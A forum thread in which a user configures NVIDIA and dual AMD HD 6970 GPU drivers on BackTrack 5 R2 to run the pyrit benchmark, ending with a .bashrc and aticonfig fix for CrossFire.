    Default Installing HD 6970 on BackTrack 5 R2 to work with pyrit

    Hallo!

    I am currently trying to install my dual HD 6970 desktop PC to run with proper drivers.
    I just managed to install my laptop, G74SX with GTX 560m, and is now running fine. Pyrit Benchmark is giving 12000 PKM. Is that to low or acceptable for that GPU?

    I followed the guide from twocents;
    http://www.backtrack-linux.org/forum...ad.php?t=48510

    Should i preform the same step as I did when i installed nvidia drivers here;

    "
    nano ~/.bashrc

    change the PATH= and add these lines to the end (after the last fi) so it looks like this:

    PATH=$PATH:/usr/local/cuda/bin
    LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib64
    export PATH
    export LD_LIBRARY_PATH
    "

    I lucked in the forum, but couldn┤t find any guide on how to install AMD GPU┤s. Is the process the same but with other drivers? and as I understand, AMD cards uses openGL instead of CUDA, since they don't have it.
    I have downloaded the drivers for the cards and i don't know if i should do from now on, is the installation process same as with nvidia drives?
    Once i have installed them, do they automatically apply crossfire settings?

    I appreciate all replies and help!

    I┤ve found after weeks of research this guide that shows you what to do and get it to work with AMD GPUS.

    http://sites.google.com/site/nozycze...r1-gnome-64bit

    Although with crossfire disabled i get a score of 83493 PMKs/s, and when i enable crossfire, i see both of my cards (identical hd 6970┤s) but get an error and cant run benchmark.
    Does any one know how to configure pyrit to get dual AMD cards run together?

    This is my error message:

    Alright, found the fix for my dual card problem... turns out really simple.

    add

    Code:

    export DISPLAY=:0

    to your .bashrc

    then
    Code in terminal:

    aticonfig --adapter=all --initial -f


    Now my setup is running fine!
